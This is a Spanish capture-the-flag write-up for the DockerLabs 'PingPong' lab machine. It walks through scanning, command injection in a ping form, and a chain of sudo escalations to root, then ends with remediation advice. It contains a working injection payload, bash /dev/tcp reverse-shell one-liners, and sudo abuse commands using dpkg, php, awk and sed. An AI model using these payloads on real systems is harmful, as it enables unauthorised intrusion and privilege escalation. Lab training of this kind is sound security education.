Skip to content

PingPong

This content is not available in your language yet.

Este documento detalla la resolución completa de la máquina PingPong, desarrollada por El Pingüino de Mario para DockerLabs y clasificada con un nivel de dificultad Medio.

El objetivo es guiar paso a paso el proceso de compromiso del sistema:

  1. Reconocimiento: Identificación de puertos y servicios expuestos.
  2. Explotación: Obtención de ejecución remota de comandos (RCE) mediante inyección en un campo vulnerable.
  3. Escalada de privilegios: Cadena de escaladas entre usuarios, abusando de configuraciones débiles de sudo, hasta obtener acceso como root.

Todo el procedimiento se realizó en el entorno aislado de DockerLabs.


AtributoValor
NombrePingPong
AutorEl Pingüino de Mario
DificultadMedio
Fecha23/06/2024
PlataformaDockerLabs

Descomprimimos y desplegamos la máquina:

Ventana de terminal
unzip PingPong.zip
sudo bash auto_deploy.sh PingPong.tar

IP asignada


Ventana de terminal
mkdir -p PingPong/{content,exploits,nmap,gobuster,scripts}
cd PingPong

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos encontrados:

  • 80/tcp — HTTP
  • 443/tcp — HTTPS
  • 5000/tcp — HTTP (servicio alterno)

Puertos abiertos


Realizamos escaneos con Feroxbuster para los tres puertos:

Ventana de terminal
feroxbuster -u http://172.17.0.2 -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/DirectoryList2.3-medium.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404,403

Feroxbuster result

Ruta importante encontrada:

  • Servido por el puerto 5000 → Página que permite ejecutar pings desde la aplicación content of index

Esta funcionalidad ejecuta un comando del sistema en base al input del usuario.


Paso 2 — Explotación (RCE y acceso inicial)

Sección titulada «Paso 2 — Explotación (RCE y acceso inicial)»

La funcionalidad de ping no valida el input del usuario, lo que permite inyección de comandos.

Probamos:

IP; id

Y obtenemos ejecución remota:

id RCE

Para obtener una reverse shell:

  1. Activamos listener:

    Ventana de terminal
    nc -nlvp 443
  2. Enviamos payload:

    Ventana de terminal
    ; bash -i >& /dev/tcp/172.17.0.1/443 0>&1

Se recibe la conexión como el usuario freddy:

fredys shell


La máquina tiene un enfoque muy claro: cadena de escaladas mediante abuso de sudoers, subiendo usuario por usuario.


Revisamos permisos:

Ventana de terminal
sudo -l

sudo -l freddy

El usuario puede ejecutar dpkg como bobby.

Abusamos el modo interactivo:

Ventana de terminal
sudo -u bobby dpkg -l
! /bin/sh

Obtenemos shell:

user bobby


Revisamos permisos:

Ventana de terminal
sudo -l

sudo -l bobby

Se permite ejecutar php como gladys.

Primero intentamos:

Ventana de terminal
sudo -u gladys php -r "system('/bin/bash');"

Pero genera una shell inestable, así que enviamos una reverse shell:

Ventana de terminal
sudo -u gladys php -r "system('bash -c \"bash -i >& /dev/tcp/172.17.0.1/443 0>&1\"');"

Y obtenemos acceso.


Revisamos permisos:

Ventana de terminal
sudo -l

sudo -l gladys

Puede ejecutar cut como chocolatito para leer cualquier archivo que le pertenezca.

Encontramos /opt/chocolatitocontraseña.txt.

Lo leemos:

Ventana de terminal
sudo -u chocolatito /usr/bin/cut -d "" -f1 "/opt/chocolatitocontraseña.txt"

Obtenemos la contraseña → iniciamos sesión:

Ventana de terminal
su chocolatito

Revisamos permisos:

sudo -l chocolatito

Puede ejecutar awk como theboss:

Ventana de terminal
sudo -u theboss awk 'BEGIN {system("/bin/bash")}'

Acceso conseguido:

user theboss


Revisamos permisos:

sudo -l theboss

Puede ejecutar sed como root.

Abusamos sed para ejecutar un comando:

Ventana de terminal
sudo sed -n '1e exec sh 1>&0' /etc/hosts

Acceso completo:

user root


  1. Inyección de comandos en el formulario de ping, sin validación de entrada.
  2. Exposición pública del servicio en el puerto 5000, ejecutando comandos del sistema.
  3. Mala configuración en sudoers, permitiendo escaladas sucesivas entre usuarios.
  4. Almacenamiento de credenciales en texto plano (chocolatitocontraseña.txt).
  5. Ausencia de contención entre usuarios, facilitando una cadena completa de escalada.

  • Implementar sanitización estricta en inputs utilizados por comandos del sistema.
  • Evitar exponer servicios administrativos o internos sin autenticación.
  • Configurar correctamente /etc/sudoers evitando asignar binarios interpretables.
  • Mover credenciales sensibles fuera de rutas accesibles por otros usuarios.
  • Implementar monitoreo y alertas para detectar uso inusual de herramientas del sistema.